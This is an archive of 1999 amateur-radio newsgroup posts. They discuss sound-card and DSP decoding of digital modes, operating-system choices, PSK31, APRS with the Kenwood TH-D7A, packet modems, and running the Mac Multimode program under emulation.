I've never bought a sound card that didn't have DOS drivers, but that's no guarantee that all cards sold today will have them. On the other hand, DOS is still the platform of choice for gamers, who put overall performance ahead of the convenience of a point 'n click operating system. I doubt seriously that any of the major manufacturers will be leaving this market out in the cold anytime soon.

Hi Chris,

Long time - no type...

You're right, this could very easily turn into an OS war. Believe it or not, the Mac's (actually Motorola's) interrupt structure is a lot more efficient for these kinds of things. What you say is essentially how you would program a sound card if you were to use Window's built-in sound interface. However, Window's sound drivers are still tied back to the clunky IRQ scheme still underlying in DOS. This is part of the speed issue.

73,

Interaction in DOS is/was at a hardware and firmware level. Thus, SB compatibility was a significant issue in the bad-old-days. During software installation, the setup program looks for the SB environment strings, or queries you for the IRQ, and I/O and DMA ports. Some "game engines" supply sound libraries, almost always supporting SB. Quality varies. The most stable of these is Win9x. :)

Michael.

This approach is not cheap, but very interesting.

Buy a TI 'c6x01 eval kit ($999 or 1450, dependeing upon whether
you buy the fixed point or floating point unit). The DSP eval card
plugs into the PCI bus and is downloaded via the PCI bus in WinNT
(I'm not sure whether it works with Win95/98 or not). Included is
a C compiler, IDE, emulator and download software. The DSP card
has line in, line out and mike in audio ports.

See TI and DNA Enterprises for details.

Cecil,

Linux is *free* Unix ... a REAL operating system, wiht the
full source code available. There is a huge "open source"
software community. You can download the entire Linux
distribution (operating system, tools, compilers, utilities,
etc., etc.) on the net, but most folks spend $20-50 for a
complete distribution on CDROM ... most of which come with
an installer program which makes the installation much
easier than "from scratch."

For more info, here are a few links you can peruse:

http://www.redhat.com

http://linuxunited.org/

http://www.casema.net/~aba/

http://www.opensource.org/

http://www.linuxjournal.com/

http://www.gimp.org/

http://www.kde.org/
```

ftp://ftp.gnu.org/pub/gnu/ ... the GNU ftp site ... HUGE

Linux comes with DOSEMU, a DOS emulator ... many DOS
programs will run fine in that environment (encased
by a 32bit protected operating system that the DOS
program(s) can't crash).

However, as I think I stated, there is a wealth of
compilers, etc. for the Linux environment ... and
like the OS, they are *free* and open source.

There are at least a dozen different languages
supported in the Linux distribution I've installed.
(C, C++, Basic, Fortran, Perl, ..... etc.)

It's not. You just open the device, and pass buffers in and out. The multimedia library takes care of the rest.

Michael.

If you are an assembly language programmer, you should have
no problem running the GNU assembler.

I believe you said you program in Beginners All-purpose Symbolic
Instruction Code (B.A.S.I.C.) and that's about the only language
that sucks on Linux.

I've recently taken up Pike as a language. I have many years of
C language experience, and Pike is very much like C, with the
modern additions of threading, and the Object Oriented
constructs.

http://pike.idonex.com/

Oops, I lost it, but there is a Web page from a guy who wrote a
B.A.S.I.C. interpreter in Pike :-)

The thing that got me interested in Pike, was a Web Server
by Roxen:

http://www.roxen.com

Previously I would create a Form in HTML and then write a CGI
program in C to produce the database response or whatever
other action was needed. With the Roxen web server, I can just
throw in the Pike code and forget about the CGI program that
took forever to debug. The Web server handles all the SQL
database interface (MySQL).

Pike is an interpreted language, and is very fast. Sort of like
a C Interpreter.

Steve
"Sorry for taking the thread off on a tangent, but DOS and the
tools that make it usable, are fully obsolete, and Linux is the
successor OS"

Of course. Audio processing cannot make good what has already been lost
due to the limited dynamic range of the receiver within the passband.

But when adding an audio filter before the soundcard makes any difference,
it just indicates that the software itself is not yet optimal.
(assuming the dynamic range of the soundcard is similar to the DSP filter
you add)

Good point, Rob.

I can't really say that the DSP ahead of the sound card is doing anything other than giving me a better S/N in my earphones. I listen to what I am printing, and somethines I feel that my ability properly tune the PBT and the notch filter are improved by what I hear and see while using the DSP.

I will do some more experimenting and see if I can make a better point here.

LINUX; LINUX;
magic word.

There is at least one MAC emulator for Linux,
would it run the Multimode MAC program on a PC?
Wonder what the performance would be.

Ah, btw, is there a demo version for the MAC multimode software?
Which is the URL where we may have a look?

Thanks,
W.

I hope you mean for Chris to port Multimode to Linux and not DOS instead of Windows. Even if I may argue that he may do better porting it to Windows (if that is indeed practical), Linux is at least a current, viable, and very powerful operating system for the PC. DOS hasn't been a current O/S for 4 years now. Why do hams continue to write for it? Then again, there are some still writing programs for the Commodore 64, so I shouldn't be surprised.

Can you be more specific about the "speed issue?" Are you talking
about *latency* (i.e. the amount of time required for a given sample
to wend its way through the various layers of the OS to reach the
user's application)? Or are you talking about the ability of the
multimedia APIs to deliver sampled data to the application at the same
rate as they are being sampled (e.g. the sound card is set to sample
at 44kHz, but samples only arrive at the application code at a lower
rate, like 38kHz)? If neither of these is the case, then how can you
claim that the API is the problem?

I submit that the true bottleneck is not the Windows APIs at all, but
rather the algorithm, the implementation of that algorithm, the
processing speed of the CPU, or some combination of these. As noted in
an earlier post, if the processing demands are too heavy for the main
CPU to handle in real time, then some kind of coprocessor, whether in
the form of a dedicated DSP chip or an SMP architecture with multiple
CPUs, is pretty much a necessity for real time processing of the
sampled data.

2595. TH-D7A: A good option for mobile packet +

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-30 00:00:00 UTC
From: Kevin Gunning <brumey@ns.net>
Message-ID: <1Dh43.3097$jR3.8141161@nnrp2.ni.net>
Source record: 17903

All:
I am resuming my effort to create a mobile (possibly portable) packet radio station. I have a PK88 (old but good), Palm 3, WinCE 2.0 mobile and HT radios'. I now see the TH-D7A and wonder at the possibilities. Here are my questions, somewhat newby and mixed in context:
1) Is the Packet functionality in the Kenwood D7A as good as a regular TNC.
2) Will the TNC support TCP/IP modes like a PK88?
3) What extras will I need to do Packet/APRS (IE Cables or Software)
4) Do I need to run TCP/IP to get Internet mail functionality from Packet?
5) Any critisism of the D7A?
6) Would I be better with a separate portable TNC and an existing radio?

General question/project need:
Is it possible to receive and send Internet email from a packet based mobile/portable system? Obviously the content would need to be personally and appropriate. My desire is to be able to receive messages from an Internet user, to my mobile packet station and ideally send messages back.

any guidance, opinions or constructive criticism welcome.

Kevin (please email response to: mailto:brumey@ns.net

Sure, you can download a copy at this URL:
http://www.blackcatsystems.com/software/multimode.html

Not sure how well it would work emulated on an Intel machine, since it runs best on PPC Mac's.

> Can you be more specific about the "speed issue?" Are you talking

Look, you can set the card to "record" and fill a buffer via the APIs. The way the APIs work, an asynchronous callback *message* (essentially and event message) is sent when the buffer is filled. Keep in mind that the MMSystem and MCI APIs were not designed for anything past the transfer of this data either to or from a file system. Also, depending upon what the computer is doing at the time (maybe you're also downloading a large file off the Internet, trying to access a newsgroup using OE5 <G>, or even processing the data, whatever) that message is not enough to ensure consistent processing of buffer chunks. If the processor is busy, more than one message can go unresponded, and you lose data. Different latency than you asked about, but nonetheless that's the way the API works. If the API were such that a specific routine were run synchronously after each buffer fill, that would be a different story.

> rather the algorithm, the implementation of that algorithm, the
> processing speed of the CPU, or some combination of these. As noted in

This is the other part of the problem, since they go hand in hand. Assume at this point that the buffer is essentially filled with signal levels in the time domain, ready to be used. You still have to convert that data to the frequency domain (FFT), optionally filter it, determine the levels about the region of the mark/space frequencies, and buffer that. Another process has to then synchronize and interpret the resulting mark/space stream. On top of that, all of this processing has to compete with other processes that the computer is doing (see above). On 486s, you barely have enough overhead just to perform and display a 4096-point FFT at an acceptable refresh rate. Even then, if you drop a chunk of data it doesn't matter since your eyes will filter that out.

> an earlier post, if the processing demands are too heavy for the main
> CPU to handle in real time, then some kind of coprocessor, whether in
> the form of a dedicated DSP chip or an SMP architecture with multiple
> CPUs, is pretty much a necessity for real time processing of the
> sampled data.

Agreed. That was my earlier argument when I mentioned that a true DSP card should be used. A sound card is *not* a true DSP, just a simple time-domain analog/digital converter. Perhaps the scheme of doing everything in software will work on a 500MHz Pentium III, but how many SWLs have one of those. Just not practical.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

There was a program called MDT that decoded Police Packet at 4800
baud at 850 - 860 MHz or so, and did it with the Multi-Media API for
the
sound card.

Basically he used a C module to get the speed he needed, and then
programmed everything else in Visual Basic.

Alas, there was a big late-night attack by police in several cities
to confiscate the software. I haven't heard if the process is
on-going,
but until new laws are written, police will confiscate contraband
first
and only say oops if you got enough money to make a Supreme Court
case. That along with Cell-Phone receivers, and CW radar receivers.

I did a search on MDT and most of the sites it was at are now gone.

The only remaining link I found was at Qualcomm and the San Diego
Police are scared to go in there:

http://people.qualcomm.com/ppomes/Crypto/MDT.html

But this is the original MDT message, and not useful for the Sound
Card software you need.

The U.S. is quickly becoming a clone of Communist China. It may be
that we stole the nuclear secrets from China, rather than the other
way
around! We're too stupid to let mere engineers design government
bombs :-)

2600. Qs on Field Day packet operation

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-30 00:00:00 UTC
From: raoul@olympus.net
Message-ID: <raoul-3005992054480001@pt194225.olympus.net>
Source record: 17908

Hello:

I'm getting ramped up for this coming Field Day and want to include packet in the setup. ARRL makes it a real points advantage to have a packet station up and running. Some questions:

1. I'm up in NW Washington State. Digipeaters/nodes are not allowed in the FD Contest so I was wondering what two-meter frequency I should try first.

2. What about beaconing? It's a no-no on digi freequencies but, I would assume, during Field Day I would be off the digi frequencies and wound need to let someone know that I was there. What, if anything, would be proper protocol for beaconing during FD?

3. How about some other bands? I am a Tech-Plus and own an HF rig so I have ten meters but have no six-meter capability. What frequencies should I try (if any) for ten meter packet? I may be able to borrow a six-meter rig so, in that eventuality, what would be some good freqencies to try on six?

Thanks much and 73

Jeff, KB7AIL

Hi, I want to write a small C program, at run time I want it to search a directory, and if it finds a .ICO file which will contain a 16 by 16 bmp place that icon on a button on the tool bar.

I can write a program that loads library button images onto the toolbar, but I want to dynamically create my toolbar at runtime, which I can do, but whar has got me stuck, is how do I load .ico bmp files at run time and place them on the buttons.

I am using borlands C++ 5.02

Thanks Carl, quick question. Will my DOS based compilers and
assemblers and resultant programs thereof run under Unix/Linux
or will I have to acquire and learn everything anew? I've only
got a few spare brain cells left.

Hi Cecil

I've just recently converted the Power Basic prorgams from G4JNT
(various mapping and path prediction programs) to VBDOS which
is very similar to Quick Basic Pro 7.1 (without the ISAM but better I think)
and the .exe files resulting run very well under DOSEMU under Linux.

I've not tried the actual compiler itself yet - but I will!!

Sometimes. PSK31's frequency stability requirements push the envelope
for many of the all mode VHF/UHF rigs in use by amateurs. The tracking built
into the software helps, but you still need a steady hand on the frequency dial
with many radios. It isn't quite as bad as following the doppler of a satellite,
but it definitely isn't set and forget either.

Since you have the available bandwidth at VHF/UHF, an ultra-narrow mode
may not be the best way to go anyway. Even with weak signals and low rates,
a wider shift can be useful when it is permitted. Remember that the Shannon
relation tells us that we can operate at lower signal levels if we use a larger
occupied bandwidth (of course we have to use it the *right* way to get the
benefit).

Since your a tech Plus (So am I) you can't use 10m repeaters unless you operate with a General or higher class ham.
check the repeater directory for repeater inputs and outputs, there are many.

Most important of all, have FUN on field day!

If you do use it, I would suggest that you must run SSB on VHF to derive any benefit at all. Sending PSK31 through an FM rigs works (just like sending it through a phone line) but I doubt that you gain anything that way.

Let me pose a question and a scenario:

The current software for PSK is using a 1000 Hz PSK modulated tone. Let us assume we could run multiple occurrences of PSK31 on our computer; one at 1000 Hz, one at 1500 Hz, one at 2000 Hz and so on. One should not interfere with the other, and you should be able to send traffic over each one without interfering with the other.

Would we then be able to transmit numerous data streams over the same FM signal? And, could we not use a return data stream using the same basic setup either on a different band, or using duplexers such as found on a repeater?

Just food for thought (and discussion).

HY,

no philisophic point of view but have a look at the frequency analyzer at
http://www.relisoft.com/#freebie
They take a sound from mic, perform FFT and display the spectrum on screen
in real time.
Works well on win95/98, source in c++ is available and program (exe) size is
70 K yes 70K !!

If anyone write a soundblaster prg wich can decode navtex
please send it to me.
Thank's
All the best
Stephan

I agree that this would probably be impractical, particularly
under WinDoze ...

I believe that it IS possible to install and configure at least
two sound cards under Win9x ... they'd have to use different
I/O addresses, and IRQs ...

I agree that this would be the best way ... a specially-tailored
program.

> to do it? Most people that I deal with on the radio can't even manage
> a telephone call while they're on the air - Hi !

I don't see this as being necessarily so much for multiple QSOs,
per se ... packet supports multiple simultaneous connections ...
what I think this idea would be interesting for is to exploit
the bandwidth/power efficiency to create multiplexed links at
higher thruputs ... eg, if one PSK31 carrier supports 50 wpm,
10 "in parallel" would support 500 wpm ... in, a moderate
bandwidth ... eg, (10 * 30 Hz) * 1.5 = 450 Hz ... where the
factor of 1.5 is used to allow "guardbands" between the individual
carriers.

This is akin to some of the complex multi-tone modulation
schemes used in landline modems and some military HF modems.

With the computing power available and cheap DSPs, there is
no reason that we hams couldn't do something interesting.

In Europe, many of the Packet backbone links are not only high-speed, but
also full-duplex. Being able to communicate back 'n forth simultaneously
instead of "taking turns talking" can speed things up considerably.

Actually, the idea would work out even better on HF where we are stuck with
300 baud, but there is absolutely nothing to prevent us from running "full
duplex" to speed things up a bit. If I were going to develop this, I would
do so for HF.

The VHF/UHF folks can run high baud rates, ect.

Yes but it still wouldn't perform as well or be as efficient as doing
the same with SSB.

And of course all tones would have to be sent from the same FM transmitter,
while with SSB they could be from different transmitters and still pass
via the same repeater (transponder).

FM loses all the way.

>with the other, and you should be able to send traffic over each one without
>interfering with the other.

Sounds like a fantastic scheme. There are two problems that I can
imagine.

1) I don't think that there is no way to multiplex the use of one
soundcard across multiple copies of PSK31 (or any other sound using
program). It has already been established that unless you want burps
in your PSK31 operation, that you had better turn off system sounds.
Otherwise, the normal activities of other programs that are running
keep putting "Tada's" and Beeps into your transmit audio stream.

2) I don't think there is any way to install and configure two or more
separate sound cards on one Wintel machine. That could have been
accommodated, had someone felt that the need was there. For example,
Win 98 supports multiple monitors, but then so did DOS, although very
few people realized it.

If there is any way to realize that dream it would have to be a
re-write of PSK31 that would do the mutliplexing all within one
program. I think that if it were carefully done, and if the sound
card's sampling rate constraints don't get in the way, it would be
feasible.

Just out of curiousity, how would you manage to keep three different
QSO's going on in your mind - provided that the technology was there
to do it? Most people that I deal with on the radio can't even manage
a telephone call while they're on the air - Hi !

2617. APRS Activity in Sacramento, CA?

Newsgroup: rec.radio.amateur.digital.misc

From: Kevin Gunning <brumey@ns.net>
Message-ID: <KmH43.3241$jR3.9080018@nnrp2.ni.net>
Source record: 17923

Greetings:
Is anyone aware of APRS activity in the Sacramento/Rocklin area of California. I am interested in setting up Gateways, APRS and 9600 Packet networks. That said, I am new to advanced digital HAM modes.

Questions:
1) Is there any digital specific clubs or interest groups in Sacramento/Roseville or Rocklin CA?
2) Last time I checked, there where no 9600 Packet nodes, gateways or whatever in Sacramento and surrounding areas. Has that changed?
3) Any APRS users or interest groups in the areas mentioned above?
4) If there is no APRS activity or interest in your current area, will this prevent me in using/participating in APRS.

Thanks in advance for your responses,

Kevin Gunning

I am trying to interface a the new Kenwood digital radio with my computer to display the stations heard with my Street Atlas moving map display.

Since I don't really need an APRS program with the TH-D7A a clever way of automatically moving the beacon locations from the radio to the computer would work just as well.

BTW I have the GPS feeding both the Kenwood and the computer simultaneously. If you want the details drop me a note.

If you want sonething that really screams, try using FPGA. Xilinx
has an app note using a 4000 series part to implement a 16 tap FIR
that runs at 81 megasamples/second. That's equivalent to 1875 MIPS.
Woo boy! Analog Devices and Burr Brown have new A/D chips which
can handle those rates (12 bit resolution). There's an article in the
current issue of Circuit Cellar using AD and Xilinx parts to implement
a fully digital receiver for HF.

2620. List of the rec.radio newsgroups

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-06-01 00:00:00 UTC
From: jeffreyh@Hawaii.Edu
Message-ID: <7ivsue$qfh@news.Hawaii.Edu>
Source record: 17926
Cross-posted to: rec.radio.amateur.digital.misc,rec.radio.amateur.dx

Archive-name: radio/personal-brief-introduction

In an effort help ensure a poster's article reaches the appropriate audience, below is a list of the rec.radio newsgroups. In most cases, a group's name will explain its purpose. Cross-posting should rarely be necessary.

rec.radio.broadcasting (devoted to the broadcast industry; moderated)
rec.radio.cb
rec.radio.info (periodic informational bulletins; moderated)
rec.radio.scanner
rec.radio.shortwave
rec.radio.swap (for buying, selling, and trading; not a discussion group)

rec.radio.amateur.antenna
rec.radio.amateur.boatanchors (tube-type communications equipment)
rec.radio.amateur.digital.misc (packet, pactor and other digital modes)
rec.radio.amateur.dx (long-distance amateur communications)
rec.radio.amateur.equipment (questions, comments regarding commercially-built amateur gear; not for buying/selling)
rec.radio.amateur.homebrew (devoted to home-building ham gear)
rec.radio.amateur.policy (issues include code, restructuring, local restrictions in conflict with FCC R&R)
rec.radio.amateur.space (satellites, meteor scatter, EME)
rec.radio.amateur.misc (any topic not covered in the above groups)

(At least two other English language radio hierarchies exist, prefixed with "uk" (United Kingdom), and "aus" (Australia), in place of "rec.")

Again, cross-posting should rarely be necessary. Many times, a long-running thread results from a single cross-posted article, and the contents of such a thread drift further and further away from being "on-topic" in the various NGs that receive each and every followup.

For more detailed information, see "Guide to the Rec.radio Newsgroups" posted on the 15th of each month.

I don't see any point of using FM, since the whole signal would have to overcome the FM threshold before it can be processed. A much better thing would be to feed these multiple audio tones into an SSB transmitter producing multiple carriers. Even in mobile communication even if the multipath null takes out some carriers, the rest would come through unharmed. With little interleaving and forward ECC, the data could be recovered. With a suitable frequency spread this might even work for long distance troposcatter communication.

If FM had been used, the multipath distortion would have taken out all carriers or at least severely distorted them all, so it is no point of running the signal through the threshold of the FM detector.

But on the other hand, why use multiple PSK31 streams, since I guess it would become more complicated than going to COFDM, which is used in DAB and DVB-T with up to 8000 carriers. With a suitable choice of carriers and symbol rates the signal would be compatible with amateur VHF/UHF band bandwidth and ham equipment bandwidth limitations and still produce a usable transfer rate and do the generation and detection in software in the PC.

This is the technique I used to transmit Digital Speech on 40 meters.

The modem transmits 36 QPSK carriers with a 4ms guard period using an FFT.
The whole thing runs on a Motorola 56002EVM. The modem is capable of full
duplex (but my radio is not :-)).

Selective fading is a problem, but the FEC in the Vocoder sorts that out
quite well, there are a couple of sound files at the bottom so you can hear
for yourself what both the modem and the Vocoder sound like during a real contact.

If we want to speed thing up why not just use Pactor II or Clover? That way you get error checking and correction as well as the speed. PSK31 was designed with the keyboard to keyboard QSO in mind, so why try to speed it up? IMHO one of the problems with using Packet or Clover for QSOs *is* the full duplex (or simi full duplex) feaure. Full duplex becomes confusing unless it is instantaneous as in a telephone conversation. It's difficult to carry on a back and forth conversation when there is a delay built in. Try using some of the secure digital phones which often have a delay. You almost need to resort to using "over".

Charles,
Most hams i know never used packet. In fact i was trying to do almost the same thing you advised me to do. I was trying to find some local hams that read this newsgroup.

I didn't want someone from texas replying to my post. I was looking for someone in NYC that read this newsgroup to reply.

Felix

Wrong place! The language groups are for language issues, not operating system questions, which this clearly is. Try a Windows programming group. Also, icons -- .ICO files -- are not simply bitmaps. The operations performed are different for each.

If you look hard enough, you might even find toolbar controls that build themselves from button descriptions, each possibly including a control id, label, and icon or bitmap. Also, there are countless owner-draw button controls that simplify that particular task. If you don't find either, you would do well to look into how these can be constructed, keeping re-use forefront in your mind. There's little sense re-inventing ballbearings every time you want a wheel.

Michael.

>sugestions on what the problem might be.

I hope you don't have my 20 Meters problem. I have ALWAYS had problems with some kind of spurious oscillation on BOTH of my rigs on 20 meters. It's as if there is some kind of grounding glitch that allows RF to get into the baseband signal lines - either that or there is a design defect in BOTH of my transceivers that only manifests itself on 20. If you are also using one of these MFJ microphone/TNC switches, that only exacerbates the problems by complicating the interconnections.

In the PSK31 mode many hams have come to realize that 1:1 isolation transformers are very useful in mitigating such problems. It seems to redulce or eliminate some ot the ground loops that otherwise give grief.

In any case, I think it's very unlikely that it's the KAM Plus that's causing the problem.

A quick look at the Sacramento area showed about a dozen stations
active. One of these stations is W6SIG. His email address is
mailto:Stanly_Harter@oes.ca.gov He apears to be a member of
the California Emergency Services Radio ASS. in the Sacramento Area.

Even if there was NO APRS activity in your area, you could participate
using the internet. No equipment to buy, just download the latest free
software. You can view station in the USA and abroad.
Software available at: http://www.tapr.org

From: Jacquis <jaclyn@tiac.net>
Message-ID: <7j4ma2$2ud@news-central.tiac.net>
Source record: 17799

I have been using my Timewave 599ZX DSP for some time as an audio filter to perk up my old rig and love it. I would like to get on HF Packet and RTTY as well as play around with some of the other modes and SWL (Utility Bands) as well. I was wondering what the best software would be for both purposes. I am not to concerned with logging or rig control as an extra as long as it decodes and encodes well. Anyone that would like to post their favorites with a short description would be appreciated ! Thanks, Jacqui N1DVE

Although I have a similar radio (same series, just a different band), I do have a question regarding pin 3:

Sometimes, when first turning on the radio and it's controller, the radio scans through the memories, or if in the VFO, scans all frequencies. Obviously, since the control circuits are OPEN COLLECTOR, I figure I'll need some sort of pull-up circuit to prevent this power-on behavior.

Through what rating resistor should pin 3 be pulled up to +Vcc (+8V) so that the circuit won't float to ground, but yet BOTH the up and down functions still work?

I was thinking of some resistor in the megaohm range, but was wondering if anyone has already experimented with this situation before I proceed.

It's my understanding that APRS is assigned 144.390 MHz in Northern California.

I can't say whether or not it's being used (i.e. active) as I am in the
Southern part of California.

Your Frequency Coordinator has a URL of http://www.narcc.org. Look under their
bandplan web page for what's allowed where as far as your 9600 baud interests
are concerned.

2642. Re: TH-D7A: A good option for mobile packet +

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-06-02 00:00:00 UTC
From: Walter Dunckel <wdunckel@best.com>
Message-ID: <3755573C.C46E5910@best.com>
Source record: 17946

Here are some answers to your questions. I didn't mean to write a book,
but here you go.
1. The TNC in the TH-D7 lacks full duplex capability, digipeat, and
packet mail functions. What is lacks in its TNC it makes up for
in APRS functions (in my opinion).
2. I can't answer that.
3. The TH-D7 is a complete APRS station. You will need nothing more
to run APRS through this radio. Lat,Lon can be entered manualy
as well as messages through its keypad (although this is a
little cumbersome). You will probably want to have a GPS, but it
is not necessary. For a GPS, you will need to make or buy a
cable.

For packet, or running APRS through your computer, you
will need another cable, or a null modem adapter for the cable
that connects from your D7 to your GPS cable. If you want to
run APRS through your computer, you will need the APRS software
(free, but a good idea to register it - this program is well
worth it).
4. Again, sorry I can't answer this. However, you can send E-mail
directly from the TH-D7 without any external devices. These
messages are limited to 25 or so characters.
5. No.
The TH-D7 is a excellent radio. Users are reluctant to part
with them, as you can see by the limited (non existent?) used
TH-D7 for sale. The D7 does have some small quirks, but
compared with all this radio does have, this radio is
amazing!
6. That depends. If you use your TNC's for satellite
communication, I would say a separate TNC would be the way to
go. If your work is more down to earth, or you already own a
TNC, the TH-D7 is probably for you.

Since you already have a Palm 3, you should download Pocket
APRS. This should load directly onto your Palm 3, and enable
you to try out APRS on your PK88 and HT. This may give you an
idea of how fun APRS is. Later, if you decide to purchase a
TH-D7, you can hook this up to your D7 and use it as a
keyboard and viewing screen for packet activity, as well as
sending E-mail, or APRS messages.

If you are unfamiliar with APRS messaging here is a
description. - Say you are in California, and have a buddy that
uses APRS in Rhode Island. You want to send him a message
using your TH-D7. You either write it into the D7 using your

keyboard, or through your Palm 3 with PocketAPRS. When you
press send, your message gets digipeated to the nearest internet
APRS connection. (This can be anyones station with internet
access and APRS software + TNC and radio). Your message will go
to the APRS servers somewhere in Florida, and be routed to the
APRS station with internet access that is nearest your buddy
in Rhode Island. Here your message will take a digipeat or two
and show up on your friends D7 or APRS program. This process
takes a grand total of a minute or a couple minutes. Actually
quicker than most E-mails. - Remember there is a difference
between E-mail and APRS messaging. E-mail uses internet E-mail
and APRS messaging uses APRS stations and internet to send
messages to APRS stations

Receiving E-mail is a very touchy issue. You would need to
control this to only allow licenced radio amateurs access
to sending you E-mail. For instance am I the only one that
gets "See Nicole in XXXXXXXX" at www.?;@*^&.com". This would
be unaceptable use of the amateur spectrum (as well as the
internet for that matter).

For PocketAPRS links and other info on the TH-D7, check out:
http://www.radiohound.com

By the way, APRS for WinCE devices is being developed as we
speak. No word yet on when it will be available. So don't
get rid of your WinCe device.

>and resistors?

Because it yields you only 1200 bps AFSK, an archaic mode. Back when
packet was invented you probably used a 1200 bps telephone modem, and look
what you have now.

Plenty of alternative designs have been published that do 9600 bps with a
similar component count, or 4800 bps with some more components but similar
cost. The latter (HAPN 4800 bps) with better results on commercial FM
transceivers that don't work well at low modulation frequencies.

Who said you should buy a TNC?

I would not pull it up to any value. The mic is an open switch. The
up switch merely grounds Pin 3 like an open collector circuit would,
and the down switch grounds Pin 3 through a 470 Ohm resistor. I have
seen enough series resistance in a opto isolator to accomplish the
down scan function. That is all there is to the circuit.

Simulate the switch actions and the radio will scan. Close and open
the switch quickly the radio will step up in the chosen tuning steps.
Holding the switch closed for a few seconds will start a scan
operation. Hope this helps

The Exar xr2211 is a demodulator only. It's used in conjunction with the xr2206 in the TAPR TNC-2 design, which is available in the MFJ 1270, etc. MXCOMM has some chips which are similar to the TCM3105, but not interchangable. Some of the suppliers of Baycom modems (Tigertronics, etc.) probably have large stocks of 3105s, but I don't know if they would sell them individually.

Cecil,

DOS isn't really an "operating system" ... it's more like
a non-reentrant interrrupt handling virus :-)

(Of course Win 9x isn't *much* better)

I was discussing bit-rate vs. bandwidth; long-haul had nothing to do
with it.

> Maybe that additional bandwidth is not such a disadvantage, in this
respect.

Assuming, for the moment, that PSK31 sent using NBFM and SSB
yields about the same distance characteristics, the additional
bandwidth is every bit as much of a disadvantage.

The problem is: WITHOUT a pull-up, it sometimes thinks one of the UP or DOWN functions is active and starts scanning. Leaving it unconnected as you suggest is how I currently have it - yet I do have the problem. That's why I'm thinking a pull-up would help.

Note: I am trying to AVOID activating the scan function.

Download the demo version of the ARDI mac emulator from

http://www.ardi.com/download.html

then get the Multimode demo version from

http://www.blackcatsystems.com/software/multimode.html

This took me 30 minutes altogether, the programs are running,
but Multimode does not recognize my Soundblaster Live under Windows.
Have not yet installed the DOS drivers,
because the SB Live DOS drivers are a pain in the ass.

Please would you all try this out and report the results here?
Does Multimode work on *your* PC?

good luck,

W.

But it is ... the much wider bandwidth of the FM receiver
means that the noise floor is higher, thus the ultimate
sensitivity lower.

> Assuming, for the moment, that PSK31 sent using NBFM and SSB
> yields about the same distance characteristics, the additional
> bandwidth is every bit as much of a disadvantage.

As stated above, it's not just a disadvantage in terms of the
spectral efficiency, it's a disadvantage in terms of receive
sensitivity. You have to reach the "threshold of FM improvement"
to get good audio from the FM receiver. In SSB mode, with
narrower filter and better power utilization, you'll do better
every time.

You're correct, of course - but even if the noise issue is
ignored, the bandwidth is still a huge disadvantage. There's
simply no point to using a narrow-bandwidth but slow mode in a
way that completely negates the narrow-bandwidth characteristic,
all you have left is slow ;-)

I'd be glad (as the author of MultiMode) to help get MultiMode running on PC's under Mac emulation.

Does it report any error messages when it starts up? Select About MultiMode... from the Apple menu, and click on the large icon - you'll get a screen with information about the sound input setup, and sound input capabilities of your particular machine.

I suppose it is stretching it to say "a real points advantage" because
packet is scored like CW- two points per contact as opposed to one point
per contact for voice. Still, there isan advantage to using an FM
tranceiver for packet instead of voice- one point extra per contact if you
can get it.

As you just said above - you are switching between the two cards. I
really have no experience with trying to do what your doing, because I
really did not think that Windows 9x would even acknowledge the
presence of the two cards.

I have always taken it for granted that Windows would NOT be able to
recognize two separate soundcards simultaneously. There are some
things that I see in the Windows 95 Multimedia API that convince me
that even when you write your own programs to talk to the soundcard at
the C++, or Pascal level there ain't no such thing as two soundcards
being supported.

>I haven't found a way to cause PSK31 software to
>always use the second sound card while all the other programs use the first
>sound card.

I will be very surprised if there is a way to do it. First, there is
no indication in my 16 years of working with PC's of being able to do
it, and I have never heard of anyone doing anything like that. The
only thing that makes me wonder at all is your statement about the
"multimedia" dialog in the Windows 98 control panel to switch between
the sound cards". When you do that do you actually see

SB16 In (240)
or
SB16 Out (240)

listed twice in each of the windows for Playback and Recording?

Seems to me that even if you do see two items listed there in each
window, Windows is simply performing the association with ONE of the
two FOR ALL USE BY ALL APPLICATIONS.

Some details:
Install the emulator first, all automatic.
Then run it and make a new folder.. file/newfolder name it eg.
Multimode.
then grab the downloaded multimode.hqx file and copy it
into that new folder
then start 'Stuffit' in the emulator which will expand the hqx file.
Thats all, folks. The program runs!

I think, the emulator needs the DOS soundcard drivers,
to check if they work use any DOS game, eg Commander Keen,
or other jump-and-run game.
With my SB Live there is no sound input to Multimode,
but I do not have the DOS drivers installed. Will try my old SB16.
ARDI says, the sound drivers in the emulator are rather basic.

W.

I'm a bit confused by this statement. Windows95 does not exist for
16 years, and there certainly is no limitation in soundcard HARDWARE
to have only a single card in a PC, except maybe for some very early
cards (and even those have not existed for 16 years).

The Linux operating system, which has supported soundcards since
1992 or maybe 1993, supports multiple soundcards. True, most applications
that use sound are not aware of that, don't offer a "soundcard selection"
possibility and use only "the default soundcard", but you can change that
default as an administrator.
And when someone writes an application that has some likelyhood of being
used on a "secondary soundcard" (like PSK31), it would be trivial to add a
card selection mechanism that overrides the default.

So, it definitely is a Windows problem, not a PC problem.

From: Michael Young <nobody@all.org>
Message-ID: <928486085.725.22@news.remarQ.com>
Source record: 17819

Win95 supports multiple sound cards, although I have yet to see a system setup this way. The limitation is in the software using the soundcard. Most software, as you point out, use the MM functions to access the sound card. DirectX allows specific device selection, but is used mostly only by games. Few games allow you to specify the device directly, but the capability is there. This would be a handy feature for our non-standard applications.

Michael.

Still trying....

Commander Keen works now, that means, DOS drivers are ok.
Installed Executor Win95/98 version and Executor Win31/DOS version,
both versions do not record sound with Multimode on my system.
Sound output from Multimode is ok, can hear the keyclick
when clicking the buttons, speaker sysbeep also works.
Multimode gives an error message:

"Unfortunately your Macintosh is lacking some essential
hardware or software and can't run Multimode properly
Does not support stereo
Transmit mode disabled"
When clicking the Apple menu, only the startup splash opens,
saying 'not registered'. No icon/info about system components.
Clicking on that window terminates the program with an error.

To sort out whether it's Executor or Multimode,
I would need a small MAC program for sound recording,
can you recommend one, with URL to download?
Or mail it to me.
Would like to test first before asking the ARDI people.

W.

I'm not quite sure where this design came from, but here is a schematic
of a baycom type modem using an MX-614 (about $5 in single quantity)

I think it is the Executor emulator which prevents Multimode
from running: looks as if it supports only mono audio, not stereo.
Multimode requires a stereo card. Maybe a receive-only version
would do it.
Think have to wait for the next version of Executor.

Other MAC emulators require legit ownership of Mac ROM and
Mac Operating System, only Mac owners have it.
